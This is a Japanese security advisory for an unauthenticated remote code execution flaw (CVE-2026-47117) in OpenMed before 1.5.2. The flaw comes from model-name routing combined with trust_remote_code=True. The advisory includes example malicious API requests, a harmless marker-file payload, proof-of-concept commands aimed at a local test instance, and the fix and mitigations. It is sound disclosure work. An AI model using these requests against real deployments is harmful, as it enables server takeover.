
OpenMed < 1.5.2 における、PIIプライバシーフィルタモデルの読み込みと trust_remote_code=True による認証なしRCE
深刻度: Critical、CVSS 4.0 9.3、CVSS 3.1 9.8(CNA である VulnCheck により割り当て)
ベクター (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
ベクター (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響を受けるバージョン: OpenMed < 1.5.2
修正バージョン: 1.5.2
CWE: CWE-94(コード生成の制御不備、コードインジェクション)
発見・報告者: Sai Teja Erukude
公開日: 2026年6月2日
OpenMed の 1.5.2 より前のバージョンには、PII プライバシーフィルターモデルの読み込み経路に未認証のリモートコード実行脆弱性が存在します。
REST API エンドポイント POST /pii/extract および POST /pii/deidentify は、リクエストボディから model_name の値を受け付けます。脆弱なバージョンでは、プライバシーフィルターのディスパッチャがこの攻撃者制御の値に対して広範な部分文字列マッチングを使用していました。そのため、attacker/foo-privacy-filter-bar のようなモデル名がプライバシーフィルターバックエンドへルーティングされる可能性がありました。
MLX/Torch 以外のデプロイメントでは、そのバックエンドが Transformers を介して Hugging Face のモデルアーティファクトを trust_remote_code=True で読み込んでいました。攻撃者制御のモデルリポジトリに、config.json または tokenizer_config.json の auto_map を通じて参照されるカスタム Transformers コードが含まれていた場合、Transformers はモデルまたはトークナイザーの読み込み中にその Python コードをインポートして実行しました。
インポートされたコードは、OpenMed サービスプロセスの権限で実行されました。
OpenMed REST API に到達可能な未認証のリモート攻撃者は、model_name に悪意のある Hugging Face 形式のモデル識別子を指定することで、サーバー上で任意の Python コードを実行できる可能性があります。
サービスのデプロイメントに応じて、これにより以下が可能になります:
両方の PII エンドポイントが model_name を受け付け、同じ PII 抽出/モデル読み込み経路を使用するため、この問題は両方のエンドポイントを通じて到達可能です:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
この脆弱な制御フローには、2つの信頼境界の破綻があります:
model_name を信頼していました。trust_remote_code=True で Transformers のアーティファクトを読み込むことにより、リモートのモデルリポジトリのコードを信頼していました。ディスパッチャは、privacy-filter を含むあらゆるモデル識別子をプライバシーフィルター・ファミリーの一部として扱っていました。これにより、攻撃者が制御する識別子(例えば attacker/foo-privacy-filter-bar)が、信頼されたファーストパーティの Privacy Filter モデル向けに意図されたコードパスに到達できるようになりました。
一度そこへルーティングされると、Transformers は auto_map を介して攻撃者が制御するカスタムコードを読み込む可能性がありました。このインポートはモデル/トークナイザーの読み込み中に発生し、有用な推論が成功する必要はありません。したがって、プルーフペイロードは次のように小さくできます:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py は、名前に privacy-filter を含む無害なローカル Hugging Face 形式のモデルディレクトリを構築します。生成されたカスタム Transformers モジュールは、インポート時にマーカーファイルを書き込みます。その後、スクリプトはそのディレクトリを model_name としてテスト用 OpenMed API インスタンスにリクエストを送信します。
脆弱な OpenMed バージョンでの想定される動作は次のとおりです:
model_name を受け入れる。trust_remote_code=True のため、Transformers が生成されたカスタムモジュールをインポートする。ローカルのテストインスタンスに対してのみ実行してください:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
OpenMed サービスが生成されたローカルディレクトリにアクセスできない場所で実行されている場合は、同等のテストモデルを管理された Hugging Face リポジトリに公開し、その識別子を明示的に渡してください:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
OpenMed 1.5.2 以降にアップグレードしてください。
OpenMed 1.5.2 ではルーティングと信頼を分離しています:
privacy-filter を含む任意のリポジトリ名は、信頼された privacy-filter パスを経由しなくなりました。PrivacyFilterTorchPipeline は trust_remote_code のデフォルトを False に設定します。OPENMED_TRUSTED_REMOTE_CODE_MODELS でそれらを許可リストに追加できます。直ちにアップグレードできない場合:
model_name の値を trust_remote_code=True で Transformers に渡さないでください。| 日付 | 出来事 |
|---|---|
| 2026年5月18日 | 脆弱性を VulnCheck に提出 |
| 2026年5月20日 | VulnCheck が協調的開示の働きかけを開始 |
| 2026年5月22日 | CVE-2026-47117 を暫定割り当て |
| 2026年6月1日 | OpenMed 1.5.2 の修正をレビューし確認 |
| 2026年6月2日 | CVE-2026-47117 を公開 |
発見および報告:Sai Teja Erukude。
開示は VulnCheck を通じて調整されました。